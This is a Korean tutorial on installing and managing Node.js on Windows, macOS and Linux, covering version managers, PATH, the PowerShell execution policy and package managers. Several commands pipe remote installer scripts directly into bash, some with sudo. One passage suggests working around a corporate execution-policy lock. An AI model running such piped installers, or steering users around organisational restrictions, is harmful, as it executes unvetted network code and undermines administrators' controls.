# 관리자 PowerShell 에서
winget install OpenJS.NodeJS.LTS

# 확인 · 나중에 업데이트
winget list  OpenJS.NodeJS.LTS
winget upgrade OpenJS.NodeJS.LTS

# 지우기
winget uninstall OpenJS.NodeJS.LTS
winget 과 .msi 를 둘 다 쓰지 마세요. 같은 프로그램이 두 번 깔려 where node 에 두 줄이 나오고, 업데이트가 한쪽만 되어 헷갈립니다. 한 가지 방법만 고르고, 바꿀 때는 먼저 지우고 다시 깝니다.

② 마법사에서 실제로 보게 되는 화면

[Custom Setup] 화면 — 트리로 항목이 나옵니다

  ▸ Node.js runtime            ★ 필수 (node.exe)
  ▸ corepack manager           ★ 켜 두세요 (pnpm·yarn 용, st06)
  ▸ npm package manager        ★ 필수
  ▸ Online documentation short.. 바로가기 아이콘. 있어도 없어도 됨
  ▸ Add to PATH                ★★ 반드시 켜져 있어야 함

[Tools for Native Modules] 화면 — 체크박스 하나

  □ Automatically install the necessary tools...
      → 체크하면 설치 후 파워셸 창이 뜨면서
        chocolatey · Python · Visual Studio Build Tools 를
        자동으로 내려받습니다 (수 GB · 10~30분)

  ★ 지금은 끄세요. sharp · better-sqlite3 같은 패키지를
    설치하다 막혔을 때(st11) 그때 따로 깔면 됩니다.
corepack 항목은 켜 두는 것을 권합니다. pnpm 이나 yarn 을 쓸 때 따로 설치할 필요가 없어집니다(st06). 용량도 몇 KB 밖에 안 됩니다.

③ 어디에 무엇이 깔렸나

C:\Program Files\nodejs\
  ├─ node.exe            ← 런타임 본체
  ├─ npm.cmd  npx.cmd    ← 배치 파일 (실제 코드는 아래에)
  ├─ corepack.cmd
  └─ node_modules\npm\   ← npm 자체가 여기 있습니다

C:\Users\사용자\AppData\Roaming\npm\
  └─ (npm i -g 로 깐 도구들의 실행 파일)  ★ st05 에서 다룹니다

C:\Users\사용자\AppData\Local\npm-cache\
  └─ (내려받은 패키지 캐시 · 지워도 됩니다)
“전역 설치가 안 먹힌다”의 원인이 여기 있습니다. node.exe 는 Program Files 에, 전역 도구는 AppData\Roaming\npm 에 따로 깔립니다. .msi 설치는 이 두 경로를 모두 PATH 에 넣어 주지만, 수동 설치나 압축 해제 방식은 두 번째를 빠뜨립니다(st05).

설치 확인 — 여기까지 되면 성공입니다 🟢 기초

확인 스크립트 — 그대로 복사

# PowerShell 을 "새로" 열고 (기존 창 말고)
node -v            # v24.9.0
npm -v             # 11.6.0
npx -v             # 11.6.0
corepack -v        # 0.34.0

# 실제로 코드가 도는지
node -e "console.log('설치 완료:', process.version, process.platform)"
# → 설치 완료: v24.9.0 win32

# 어느 파일이 실행되고 있는지 (★ 문제 생겼을 때 제일 먼저 볼 것)
where.exe node
# C:\Program Files\nodejs\node.exe

# 첫 파일 실행
"console.log('hello')" | Out-File -Encoding utf8 hello.js
node hello.js      # hello
PowerShell 에서 where 는 쓰지 마세요. PowerShell 의 where 는 Where-Object 의 별칭이라 전혀 다른 동작을 합니다. where.exe node 처럼 확장자를 붙이거나 Get-Command node 를 쓰세요.

첫 프로젝트를 30초 만에

mkdir hello-node
cd hello-node

npm init -y                    # package.json 생성
npm pkg set type=module        # ★ import 문법을 쓰겠다는 선언

# src/index.js 를 만들고 아래 내용을 넣습니다
node --watch src/index.js      # 저장할 때마다 자동 재시작
// src/index.js
import os from "node:os";
import { readFile } from "node:fs/promises";

console.log("Node", process.version);
console.log("CPU", os.cpus().length, "코어");

const pkg = JSON.parse(
  await readFile("./package.json", "utf8")   // ★ 브라우저에서는 불가능한 일
);
console.log("프로젝트 이름:", pkg.name);
이 코드가 브라우저와 다른 점 — node:fs 로 내 PC 파일을 읽고, node:os 로 CPU 개수를 봅니다. 이것 하나로 Node 를 깐 값은 다 했습니다. 나머지 섹션은 이 환경을 여럿이 · 오래 · 여러 프로젝트로 쓰기 위한 정비입니다.
설치 직후 가장 흔한 사고 세 가지
① 'node'은(는) 내부 또는 외부 명령이 아닙니다 — 열려 있던 터미널을 닫고 새로 여세요. 그래도 안 되면 PATH 문제입니다(st05).
② npx : 이 시스템에서 스크립트를 실행할 수 없으므로 — PowerShell 실행 정책입니다(st05). 명령 한 줄로 해결됩니다.
③ VS Code 내장 터미널에서만 안 됨 — VS Code 를 완전히 종료했다가 다시 켜세요. 편집기가 켜질 때의 PATH 를 그대로 물고 있습니다.

업그레이드 · 삭제 · 재설치 — 깔끔하게 갈아엎기 🟢 기초

Node 버전을 올릴 때

# .msi 로 깔았다면 — 새 .msi 를 그냥 실행하면 됩니다
#   기존 버전을 알아서 덮어씁니다. 먼저 지울 필요 없습니다.
#   단, 전역 설치한 도구(AppData\Roaming\npm)는 그대로 남습니다.

# winget 으로 깔았다면
winget upgrade OpenJS.NodeJS.LTS

# ★ 올린 뒤에는 프로젝트를 다시 설치해 주세요
#   네이티브 모듈은 Node 메이저마다 다시 빌드해야 합니다(st11)
rm -rf node_modules
pnpm i
업그레이드 후 확인 순서
  ① 새 터미널에서  node -v
  ② where.exe node   ← 옛 버전이 남아 두 줄이 나오면 정리
  ③ npm -v           ← Node 에 딸려 온 npm 도 같이 올라갑니다
  ④ 프로젝트에서  pnpm i  후 pnpm dev
메이저 버전을 올릴 때만 조심하면 됩니다. 24.8 → 24.9 같은 패치 업데이트는 node_modules 를 다시 만들 필요가 거의 없지만, 22 → 24 처럼 메이저가 바뀌면 네이티브 모듈이 안 맞아 NODE_MODULE_VERSION mismatch 오류가 납니다. 재설치가 답입니다.

완전히 지우고 처음부터

① 설정 ▸ 앱 ▸ 설치된 앱 ▸ "Node.js" 제거
   (또는 winget uninstall OpenJS.NodeJS.LTS)

② 아래 폴더가 남아 있으면 손으로 지웁니다 ★
   C:\Program Files\nodejs\
   C:\Users\사용자\AppData\Roaming\npm\
   C:\Users\사용자\AppData\Roaming\npm-cache\
   C:\Users\사용자\AppData\Local\npm-cache\
   C:\Users\사용자\.npmrc          ← 프록시·토큰 설정. 필요하면 백업

③ 환경 변수에서 위 경로가 남아 있으면 제거 (st05)

④ 새 터미널에서 node -v 가 "명령이 아닙니다" 를 내면
   완전히 지워진 것입니다
“지웠는데도 node -v 가 나온다” — where.exe node 로 어디에 남았는지 보세요. fnm · Volta · nvm-windows · Chocolatey 로 깐 것이 따로 남아 있거나, 회사 PC 라면 사내 배포 도구가 다시 깔아 놓았을 수 있습니다.
정리 — nodejs.org 왼쪽 LTS 버튼 → .msi 실행 → Add to PATH 켜 두고 Tools for Native Modules 는 끄고 다음 → 새 터미널에서 node -v. 안 되면 대부분 터미널을 새로 안 연 것입니다.
SETUP 03

버전 관리자 — fnm · nvm · Volta 로 갈아 끼우기

프로젝트 A 는 Node 20 을 요구하고 B 는 24 를 요구합니다. 시스템에 하나만 깔려 있으면 지울 때마다 다시 깔아야 합니다. 버전 관리자는 이 문제를 폴더 단위로 해결합니다.

버전 관리자의 원리 — 실제 파일이 아니라 "가리키는 곳"을 바꿉니다 터미널에서 node 사용자는 늘 같은 명령 PATH 맨 앞의 fnm 폴더 여기 있는 node 가 먼저 잡힙니다 지금 선택된 버전 얇은 연결 고리 실제 설치본은 홈 폴더 안에 버전별로 따로 놓여 있습니다 node 20.19 옛 프로젝트용 · 그대로 보존 node 22.14 유지보수 버전 node 24.9 ← 지금 이것 fnm use 24 로 선택됨 폴더를 옮기면 자동으로 갈아 끼워집니다 ~/work/old-api .nvmrc 에 20 이라고 적힘 cd 하는 순간 fnm 훅이 파일을 읽음 node -v → v20.19 명령 한 줄 없이 전환 그래서 여러 버전을 동시에 두고도 충돌이 없습니다 — 서로 다른 폴더에 있으니까요 주의 — 전역 설치한 도구는 버전마다 따로입니다. 20 에서 깐 것이 24 에는 없습니다
핵심은 PATH 맨 앞자리를 차지하는 것입니다 — 원리를 알면 “왜 안 바뀌지”도 스스로 풀 수 있습니다.

네 가지 선택지 비교

도구특징OS
fnm ★
Rust 로 작성
빠릅니다(전환 수십 ms). .nvmrc·.node-version 둘 다 읽음. 윈도우에서도 같은 사용법전부
nvm
원조
가장 자료가 많음. 셸 스크립트라 셸 시작이 느려짐. 윈도우 미지원맥·리눅스
nvm-windows
이름만 같음
별개 프로젝트. 전환에 관리자 권한이 필요할 때가 있고 자동 전환이 없음윈도우
Volta
Rust
Node 뿐 아니라 패키지 매니저·전역 도구까지 프로젝트에 고정. 팀 전체 통일에 강함전부
지금 처음 고른다면 fnm 입니다. 윈도우·맥·리눅스에서 명령이 완전히 같고, 전환이 체감될 만큼 빠르며, 기존 프로젝트의 .nvmrc 를 그대로 읽습니다. 회사가 이미 nvm 을 쓰고 있다면 굳이 바꾸지 마세요 — 설정 파일은 호환됩니다.

fnm 설치 — 윈도우

# ① 설치 (셋 중 아무거나)
winget install Schniz.fnm
# 또는  scoop install fnm
# 또는  choco install fnm

# ② ★ 셸에 훅을 심습니다 — 이걸 빠뜨리면 전환이 안 됩니다
notepad $PROFILE                 # 없다고 하면 만들겠냐고 물어봅니다

#   아래 한 줄을 파일 끝에 붙여 넣고 저장
fnm env --use-on-cd --shell powershell | Out-String | Invoke-Expression

# ③ 새 PowerShell 을 열고
fnm --version
fnm install 24                   # 24 최신 LTS 를 받습니다
fnm install 22
fnm use 24
fnm default 24                   # 새 터미널의 기본값
fnm list                         # 깔린 목록 · 현재 선택 표시

node -v                          # v24.x.x
$PROFILE 이 없다는 오류가 나면 — New-Item -ItemType File -Path $PROFILE -Force 로 먼저 만드세요. 그리고 프로필이 실행되려면 실행 정책이 풀려 있어야 합니다(st05). Set-ExecutionPolicy -Scope CurrentUser RemoteSigned 한 줄이면 됩니다.

프로젝트마다 버전 고정하기 — 파일 한 줄 🟢 기초

저장소에 커밋하는 파일들

# 프로젝트 루트에 한 줄짜리 파일을 둡니다
echo "24" > .node-version        # ★ fnm · Volta · asdf 가 읽음
echo "24" > .nvmrc               # nvm · fnm 이 읽음 (전통적인 이름)

# 두 파일을 다 두어도 됩니다. fnm 은 .node-version 을 먼저 봅니다.
# 정확한 패치까지 고정하고 싶으면
echo "24.9.0" > .node-version

# 그 폴더로 들어가면
cd ~/work/my-api
# Using Node v24.9.0    ← --use-on-cd 훅이 있으면 이 줄이 뜹니다

# 훅이 없거나 CI 에서는 수동으로
fnm use                          # 파일을 읽어 전환
fnm use --install-if-missing     # 없으면 받아서 전환 ★ CI 에서 유용
// package.json 에도 같은 내용을 적어 둡니다
{
  "engines": { "node": ">=24" },
  "packageManager": "pnpm@10.15.0"
}
// ★ .node-version 은 "어떤 버전을 쓸지",
//    engines 는 "어떤 버전을 허용할지" — 역할이 다릅니다.
//    둘 다 두는 것이 정석입니다.

맥 · 리눅스에서의 fnm · nvm

# fnm (권장)
brew install fnm                          # 맥
curl -fsSL https://fnm.vercel.app/install | bash   # 리눅스

# ~/.zshrc 또는 ~/.bashrc 끝에
eval "$(fnm env --use-on-cd --shell zsh)"

# nvm 을 쓴다면
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash
# ~/.zshrc 에 아래 두 줄이 자동으로 추가됩니다
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && . "$NVM_DIR/nvm.sh"

nvm install --lts        # 최신 LTS
nvm alias default lts/*  # 기본값 고정
nvm use                  # .nvmrc 를 읽어 전환

# ★ nvm 은 셸 함수입니다 — which nvm 하면 아무것도 안 나옵니다.
#   스크립트 안에서 쓰려면 nvm.sh 를 먼저 source 해야 합니다.
zsh 시작이 느려졌다면 거의 nvm 탓입니다. 터미널을 열 때마다 수백 ms 짜리 셸 스크립트를 읽기 때문입니다. fnm 으로 바꾸면 체감이 즉시 달라집니다(수 ms). 굳이 nvm 을 유지해야 한다면 지연 로딩 플러그인을 쓰세요.

한 단계 더 — 전역 도구가 버전마다 따로인 문제 🟡 중급

왜 “아까는 됐는데”가 생기나

fnm use 20
npm i -g typescript          # 20 전용 폴더에 깔립니다
tsc -v                       # Version 5.9.x  ✅

fnm use 24
tsc -v                       # ❌ 'tsc' 를 찾을 수 없습니다

# 설치 위치를 보면 이유가 보입니다
fnm use 20 && npm config get prefix
#   ~/.local/share/fnm/node-versions/v20.19.0/installation
fnm use 24 && npm config get prefix
#   ~/.local/share/fnm/node-versions/v24.9.0/installation
#   ↑ 버전마다 전역 폴더가 완전히 다릅니다
해결책은 셋입니다.
① 전역 설치를 아예 안 합니다 — npx tsc / pnpm dlx 로 그때그때 실행(권장).
② 프로젝트의 devDependencies 에 넣고 pnpm exec tsc 로 씁니다 ★ 가장 정석.
③ 꼭 전역이어야 하면 Volta 를 씁니다 — 전역 도구까지 버전에 묶어 관리합니다.
# 버전을 바꿔도 유지되는 방식 ★
pnpm add -D typescript
pnpm exec tsc -v             # 프로젝트 안의 tsc 를 실행
# package.json 의 scripts 안에서는 그냥 "tsc" 라고 써도
# node_modules/.bin 이 자동으로 PATH 에 붙습니다

Volta — 팀 전체를 한 번에 고정

winget install Volta.Volta         # 윈도우
curl https://get.volta.sh | bash   # 맥 · 리눅스

volta install node@24
volta install pnpm@10

# 프로젝트에서 한 번만 실행하면 package.json 에 기록됩니다
cd my-app
volta pin node@24
volta pin pnpm@10
{
  "volta": {
    "node": "24.9.0",
    "pnpm": "10.15.0"
  }
}
// 팀원이 이 저장소를 받아 아무 명령이나 치면
// Volta 가 알아서 해당 버전을 받아 실행합니다 — 안내 문구조차 없습니다.
Volta 의 대가 — node·npm·pnpm 을 전부 Volta 의 대역 실행 파일로 바꿔치기합니다. 편하지만 문제가 생겼을 때 “진짜 node 가 어디 있지”를 추적하기가 fnm 보다 어렵습니다. 혼자 배우는 단계라면 fnm, 버전 때문에 팀이 자주 깨진다면 Volta 로 생각하세요.
정리 — 시스템에 Node 를 직접 깔지 말고 버전 관리자로 관리하면 프로젝트마다 다른 버전을 cd 한 번으로 갈아 끼울 수 있습니다. fnm 설치 + 셸 훅 한 줄 + .node-version 커밋 — 이 셋이 전부입니다. 전역 도구는 버전마다 따로이므로 가급적 devDependencies 에 넣으세요.
SETUP 04

macOS · Linux — Homebrew · apt · fnm 중 무엇으로

유닉스 계열에서는 선택지가 더 많고, 그래서 잘못 고르면 sudo 지옥에 빠집니다. 실제로 초보가 가장 많이 하는 실수인 sudo npm install -g 가 왜 위험한지도 여기서 정리합니다.

맥 · 리눅스 설치 경로 넷 — 어디에 깔리느냐가 전부를 가릅니다 Homebrew /opt/homebrew/bin 간단 · sudo 불필요 brew upgrade 때 같이 올라감 apt install nodejs /usr/bin/node 우분투 기본 저장소 버전이 너무 낡음 · 쓰지 마세요 NodeSource /usr/bin/node 메이저 버전 지정 가능 서버 · 이미지 빌드에 적합 fnm ★ ~/.local/share/fnm sudo 전혀 불필요 프로젝트별 전환 시스템 영역에 깔림 — /usr · /opt 전역 설치에 sudo 가 필요해집니다 ← 사고의 근원 홈 디렉터리에 깔림 — ~/ 내 소유이므로 권한 문제가 원천적으로 없습니다 실무의 기본 조합 — 개발 머신은 fnm, 서버는 NodeSource 또는 도커 이미지 맥에서 brew 로 이미 깔았다면 지우지 않아도 됩니다. fnm 이 PATH 앞자리를 가져가 이깁니다 다만 "왜 버전이 안 바뀌지" 를 겪게 되므로, 헷갈리면 brew uninstall node 로 정리하는 편이 낫습니다
설치 위치가 시스템이냐 홈이냐가 갈림길입니다 — sudo 문제의 90%가 여기서 결정됩니다.

macOS — 세 가지 방법

# ── ① Homebrew (가장 흔함) ──
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
brew install node@24            # 메이저 고정 ★ (그냥 node 면 최신 Current)
brew link --overwrite node@24   # PATH 에 연결

# Apple Silicon 은 /opt/homebrew, 인텔 맥은 /usr/local 입니다
brew --prefix                   # 내 맥이 어느 쪽인지

# ── ② fnm (권장) ──
brew install fnm
echo 'eval "$(fnm env --use-on-cd --shell zsh)"' >> ~/.zshrc
exec zsh                        # 셸 다시 읽기
fnm install 24 && fnm default 24

# ── ③ 공식 .pkg ──
# nodejs.org 에서 node-v24.x.x.pkg 를 받아 실행
# → /usr/local/bin/node 에 깔립니다. 지우기가 번거로우니 권하지 않습니다
맥에서 zsh: command not found: node — Apple Silicon 에서 Homebrew 경로가 ~/.zprofile 에 안 들어간 경우입니다. echo 'eval "$(/opt/homebrew/bin/brew shellenv)"' >> ~/.zprofile 을 실행하고 터미널을 새로 여세요.

Ubuntu · Debian — apt 저장소

# ❌ 이것부터 하지 마세요
sudo apt install nodejs
node -v      # v18.x — 우분투 24.04 기준 (22.04 는 v12). 둘 다 이미 EOL 입니다

# ✅ NodeSource 저장소 등록 (서버에 적합)
curl -fsSL https://deb.nodesource.com/setup_24.x | sudo -E bash -
sudo apt install -y nodejs
node -v      # v24.x.x   (npm 도 함께 들어옵니다)

# ✅ 또는 fnm (개발 머신에 적합 · sudo 불필요)
curl -fsSL https://fnm.vercel.app/install | bash
source ~/.bashrc
fnm install 24 && fnm default 24

# ── snap 은 피하세요 ──
# sudo snap install node --classic
#  · 샌드박스 때문에 /home 밖 파일 접근이 막히는 사고가 잦습니다
#  · 전역 설치 경로가 특이해서 PATH 문제가 자주 납니다
WSL2 를 쓴다면 — 윈도우 쪽 Node 와 완전히 별개로 리눅스용 Node 를 깔아야 합니다. WSL 터미널에서 /mnt/c/Program Files/nodejs/node.exe 가 잡히면 속도가 수십 배 느려지고 경로 문제가 끝없이 납니다. WSL 안에서는 위의 fnm 방법으로 따로 깔고, 프로젝트도 /home/… 안에 두세요.

★ sudo npm install -g 는 왜 금지인가 🟢 기초

❌ 이렇게 하면 벌어지는 일
sudo npm install -g typescript

# 그 결과
#  · /usr/local/lib/node_modules 안의 파일 소유자가 root 가 됩니다
#  · 다음번에 sudo 없이 설치하면 EACCES 로 실패
#  · 그래서 또 sudo 를 붙이는 악순환
#  · 패키지의 postinstall 스크립트가 root 권한으로 실행됩니다
#    → 악성 패키지 하나면 시스템 전체가 넘어갑니다 ★
#  · 캐시(~/.npm)도 root 소유로 바뀌어
#    이후 모든 npm 명령이 권한 오류를 냅니다
✅ 대신 이렇게
# 방법 ① 버전 관리자를 씁니다 — 문제 자체가 사라집니다
fnm install 24
npm i -g typescript          # sudo 없이 됩니다 (홈 디렉터리)

# 방법 ② 전역 설치 경로를 홈으로 옮깁니다
mkdir -p ~/.npm-global
npm config set prefix ~/.npm-global
echo 'export PATH="$HOME/.npm-global/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc

# 방법 ③ 애초에 전역 설치를 안 합니다 ★ 가장 좋음
npx tsc --version
pnpm add -D typescript && pnpm exec tsc --version

이미 sudo 로 망가뜨렸다면 — 복구 절차

# ① 캐시 소유권을 나에게 돌려놓기
sudo chown -R $(id -u):$(id -g) ~/.npm

# ② 홈 안의 프로젝트 폴더도 확인
sudo chown -R $(id -u):$(id -g) ~/work/my-app/node_modules

# ③ root 소유가 된 전역 폴더는 통째로 지우고 다시 시작
sudo rm -rf /usr/local/lib/node_modules
npm config set prefix ~/.npm-global

# ④ 어떤 것이 root 소유인지 미리 보기
ls -la $(npm root -g)
ls -la ~/.npm | head

# ★ 정리 후에는 npm config get prefix 가
#   홈 디렉터리 아래를 가리켜야 정상입니다
판별법 — npm config get prefix 결과가 /usr 나 /usr/local 로 시작하면 언젠가는 sudo 를 요구합니다. /home/… 나 ~/.local/… 이면 안전합니다.

리눅스 서버에 올릴 때의 정석

개발 머신          → fnm (홈 · 여러 버전)
CI (GitHub Actions) → actions/setup-node@v4
운영 서버          → 도커 이미지 node:24-alpine
                     또는 NodeSource + systemd
# .github/workflows/ci.yml — CI 에서 버전 맞추기
- uses: actions/setup-node@v4
  with:
    node-version-file: '.node-version'   # ★ 파일을 그대로 읽습니다
    cache: 'pnpm'
# Dockerfile — 멀티스테이지의 기본형
FROM node:24-alpine AS build
WORKDIR /app
COPY package.json pnpm-lock.yaml ./
RUN corepack enable && pnpm install --frozen-lockfile
COPY . .
RUN pnpm build

FROM node:24-alpine
WORKDIR /app
COPY --from=build /app/dist ./dist
COPY --from=build /app/node_modules ./node_modules
CMD ["node", "dist/index.js"]
세 곳의 버전을 한 파일로 묶는 것이 핵심입니다. .node-version 하나만 고치면 개발 머신(fnm) · CI(setup-node) 가 동시에 따라옵니다. 도커 태그만 수동이므로 Dockerfile 도 같이 바꾸는 것을 체크리스트에 넣어 두세요.
정리 — 맥·리눅스에서는 어디에 깔리느냐가 전부입니다. 홈 디렉터리에 깔리는 fnm 을 쓰면 sudo 문제가 원천적으로 사라집니다. sudo npm i -g 는 절대 쓰지 마세요 — 권한이 꼬이고 보안 구멍이 됩니다. 서버는 NodeSource 또는 도커 이미지로 메이저 버전을 고정합니다.
SETUP 05

PATH · 환경 변수 — “명령을 찾을 수 없습니다” 의 정체

설치 관련 질문의 절반은 PATH 입니다. 원리는 세 줄이면 끝나고, 알고 나면 다시는 같은 문제로 검색하지 않게 됩니다. 화면 경로까지 그대로 적었습니다.

터미널에 node 를 쳤을 때 — PATH 를 앞에서부터 뒤집니다 $ node PATH = 폴더1 ; 폴더2 ; 폴더3 ; … (세미콜론으로 이어진 목록) ① C:\Windows\System32 node.exe 없음 → 다음으로 ② fnm 의 현재 버전 폴더 node.exe 발견 → 이것을 실행 ★ ③ Program Files\nodejs 여기까지 오지 않습니다 먼저 찾은 하나만 실행 · 나머지는 무시 그래서 "앞자리" 를 차지하는 쪽이 무조건 이깁니다 목록 어디에도 없으면 'node' 은(는) 내부 또는 외부 명령이 아닙니다 지금 무엇이 잡히는지 확인 윈도우 where.exe node · 맥·리눅스 which -a node
PATH 는 우선순위가 있는 폴더 목록일 뿐입니다 — 앞에 있는 것이 이깁니다.

윈도우 — 환경 변수 화면까지 가는 길

방법 A — 검색으로 (가장 빠름)
  시작 버튼 → "환경 변수" 입력
  → "시스템 환경 변수 편집" 또는
    "계정의 환경 변수 편집" 클릭

방법 B — 손으로
  Win + R → sysdm.cpl → Enter
  → [고급] 탭 → 아래쪽 [환경 변수(N)...] 버튼

들어가면 창이 위아래 둘로 나뉩니다
  ┌ 사용자 변수 (내 계정에만 적용) ★ 여기를 씁니다
  └ 시스템 변수 (모든 계정 · 관리자 권한 필요)

  위쪽 목록에서 Path 를 고르고 [편집(E)...]
  → [새로 만들기(N)] → 경로를 붙여 넣기
  → [위로 이동(U)] 으로 순서 조정
  → 확인 · 확인 · 확인 (창 세 개를 다 확인으로 닫아야 저장됩니다) ★
가장 흔한 실수 두 가지
① 창을 X 로 닫으면 저장이 안 됩니다 — 반드시 [확인]으로.
② 저장해도 이미 열린 터미널·VS Code 에는 반영되지 않습니다. 새 창을 열거나, 심하면 로그아웃 후 다시 로그인 해야 합니다.

PowerShell 로 확인하고 고치기

# 지금 PATH 를 한 줄씩 보기
$env:PATH -split ';'

# node 가 어디에서 잡히나 (여러 개면 여러 줄이 나옵니다 ★)
where.exe node
Get-Command node | Select-Object Source

# npm 전역 폴더가 PATH 에 있는지 확인
npm config get prefix          # C:\Users\사용자\AppData\Roaming\npm
$env:PATH -split ';' | Select-String 'Roaming\\npm'

# 영구 추가 (사용자 변수 · 관리자 권한 불필요)
$p = [Environment]::GetEnvironmentVariable('Path','User')
[Environment]::SetEnvironmentVariable(
  'Path', "$env:APPDATA\npm;$p", 'User')
# ★ 앞에 붙였습니다. 우선순위를 주고 싶을 때 이렇게 합니다.
# 확인은 반드시 새 터미널에서

맥 · 리눅스 — 어느 파일에 쓰나

파일언제 읽히나
~/.zshrczsh 터미널을 열 때마다 (맥 기본)
~/.bashrcbash 터미널을 열 때마다 (리눅스 기본)
~/.zprofile
~/.bash_profile
로그인할 때 한 번. brew shellenv 는 보통 여기
/etc/paths맥의 시스템 기본 목록 (건드리지 마세요)
# 확인
echo $PATH | tr ':' '\n'
which -a node          # ★ -a 는 "전부" — 중복 설치를 잡아냅니다
type -a node

# 추가 (앞에 붙이기 · 뒤에 붙이기)
export PATH="$HOME/.npm-global/bin:$PATH"   # 앞 → 우선
export PATH="$PATH:$HOME/bin"               # 뒤 → 나중

# 영구화
echo 'export PATH="$HOME/.npm-global/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc        # 지금 창에도 즉시 반영
순서를 바꾸는 것만으로 해결되는 문제가 많습니다. which -a node 가 두 줄 이상 나오면 그것이 원인입니다. 원하는 것을 앞으로 옮기거나, 안 쓰는 쪽을 지우세요.

PowerShell 실행 정책 — npx 가 막히는 진짜 이유 🟢 기초

증상과 해결 한 줄

npx : 이 시스템에서 스크립트를 실행할 수 없으므로
C:\Users\사용자\AppData\Roaming\npm\npx.ps1 파일을
로드할 수 없습니다. 자세한 정보는 about_Execution_Policies
(https://go.microsoft.com/fwlink/?LinkID=135170)를 참조하십시오.
    + CategoryInfo          : 보안 오류: (:) [], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess
# 원인 — PowerShell 이 기본적으로 .ps1 스크립트 실행을 막습니다.
#        npm · npx · pnpm 은 전부 .ps1 래퍼를 씁니다.

# 현재 정책 확인
Get-ExecutionPolicy -List

# ★ 해결 (관리자 권한 불필요 · 이 한 줄이면 끝)
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned

# 확인
Get-ExecutionPolicy -Scope CurrentUser    # RemoteSigned
정책뜻
Restricted전부 차단 (기본값)
RemoteSigned ★내가 만든 것은 허용, 인터넷에서 받은 것은 서명 필요
Unrestricted거의 다 허용 — 권하지 않습니다
Bypass완전 무시 — CI 스크립트에서만
회사 PC 라 정책이 잠겨 있다면 — Get-ExecutionPolicy -List 에서 MachinePolicy 나 UserPolicy 가 Restricted 면 그룹 정책으로 강제된 것입니다. 이때는 npx.cmd 처럼 .cmd 확장자를 직접 쓰거나 Git Bash · WSL 을 쓰면 우회됩니다.

환경 변수를 코드에서 읽기 — process.env

// 무엇이든 문자열입니다. 숫자·불리언이 아닙니다 ★
console.log(process.env.PORT);        // "3000"  (문자열!)
console.log(process.env.NODE_ENV);    // "development" 또는 undefined

const port = Number(process.env.PORT ?? 3000);   // ★ 변환 + 기본값
const debug = process.env.DEBUG === "true";      // ★ 불리언은 이렇게

// 없으면 즉시 죽이기 — 운영에서 훨씬 안전합니다
function need(key) {
  const v = process.env[key];
  if (!v) throw new Error(`환경 변수 ${key} 가 없습니다`);
  return v;
}
const dbUrl = need("DATABASE_URL");
# .env 파일 (프로젝트 루트)
PORT=3000
DATABASE_URL=postgres://localhost:5432/app
API_KEY=sk-abcdef

# ★ Node 20.6+ 부터 라이브러리 없이 읽습니다
node --env-file=.env src/index.js

# 여러 개 겹쳐 읽기 (뒤가 이깁니다)
node --env-file=.env --env-file=.env.local src/index.js

# 파일이 없어도 넘어가게
node --env-file-if-exists=.env.local src/index.js

# package.json 의 scripts 에
#   "dev": "node --watch --env-file=.env src/index.js"
.env 는 반드시 .gitignore 에 넣으세요. API 키가 깃허브에 올라가는 사고가 정말 자주 납니다. 대신 .env.example 에 키 이름만 값 없이 적어 커밋해서 팀원이 무엇을 채워야 하는지 알 수 있게 합니다.
PATH 문제를 3분 안에 끝내는 진단 순서 — ① where.exe node / which -a node 로 몇 개가 잡히는지 봅니다. ② 0개면 PATH 에 없는 것 → 경로를 추가. ③ 2개 이상이면 순서 문제 → 원하는 것을 앞으로. ④ 맞게 나오는데도 안 되면 터미널을 새로 열었는지 확인. ⑤ VS Code 안에서만 안 되면 VS Code 를 완전히 종료 후 재실행.
정리 — PATH 는 앞에서부터 뒤지는 폴더 목록입니다. where.exe node / which -a node 가 거의 모든 진단의 시작이고, 윈도우에서 npx 가 막히면 Set-ExecutionPolicy -Scope CurrentUser RemoteSigned 한 줄로 끝납니다. 환경 변수는 --env-file 로 라이브러리 없이 읽습니다.
SETUP 06

패키지 관리자 — npm · pnpm · yarn · bun 무엇을 쓸까

넷 다 하는 일은 같습니다. package.json 을 읽어 라이브러리를 내려받고 node_modules 를 만드는 것. 차이는 얼마나 빠르고 · 디스크를 얼마나 먹고 · 얼마나 엄격한가입니다.

같은 라이브러리를 세 프로젝트에서 쓸 때 무슨 일이 생기나 npm · yarn — 프로젝트마다 실제 파일을 복사합니다 프로젝트 A node_modules 안에 실파일 프로젝트 B 똑같은 파일을 또 복사 프로젝트 C 또 한 벌 · 또 내려받기 결과 — 같은 파일이 세 벌. 디스크도 세 배, 내려받기도 세 번입니다 pnpm — 전역 저장소에 한 벌만 두고 나머지는 링크입니다 프로젝트 A node_modules 는 링크뿐 프로젝트 B 내려받기 없음 · 즉시 프로젝트 C 내려받기 없음 · 즉시 ~/.pnpm-store — 실파일은 여기 한 벌 같은 버전이면 몇 개 프로젝트가 써도 파일은 하나입니다 그래서 pnpm 은 디스크가 3분의 1 이하로 줄고, 두 번째 설치부터는 몇 초에 끝납니다 덤 — 링크 구조라 package.json 에 안 적은 패키지를 몰래 import 하면 바로 에러가 납니다
pnpm 의 속도는 마법이 아니라 복사를 안 하기 때문입니다 — 구조가 다릅니다.
npm pnpm ★ yarn (berry) bun
설치 방법 Node 에 기본 포함 corepack enable pnpm corepack enable yarn 별도 설치
속도느림 (많이 개선됨)매우 빠름빠름가장 빠름
디스크프로젝트마다 복사전역 저장소 + 링크zip 캐시(PnP)전역 캐시
lockfilepackage-lock.jsonpnpm-lock.yamlyarn.lockbun.lock
엄격함느슨 — 유령 의존성 허용엄격 — 안 적은 건 못 씀매우 엄격(PnP)느슨
모노레포workspacesworkspaces + 필터 강력workspacesworkspaces
언제 고르나 혼자 · 작은 프로젝트
튜토리얼 그대로 따라갈 때
대부분의 실무
모노레포 · 여러 프로젝트
이미 yarn 을 쓰는 팀 Bun 런타임을 쓸 때

corepack 으로 pnpm 켜기 — 설치가 아닙니다

# corepack 은 Node 에 이미 들어 있습니다. 켜기만 하면 됩니다.
corepack enable                # npm · pnpm · yarn 대역을 PATH 에 심습니다
corepack enable pnpm

pnpm -v                        # 10.x.x

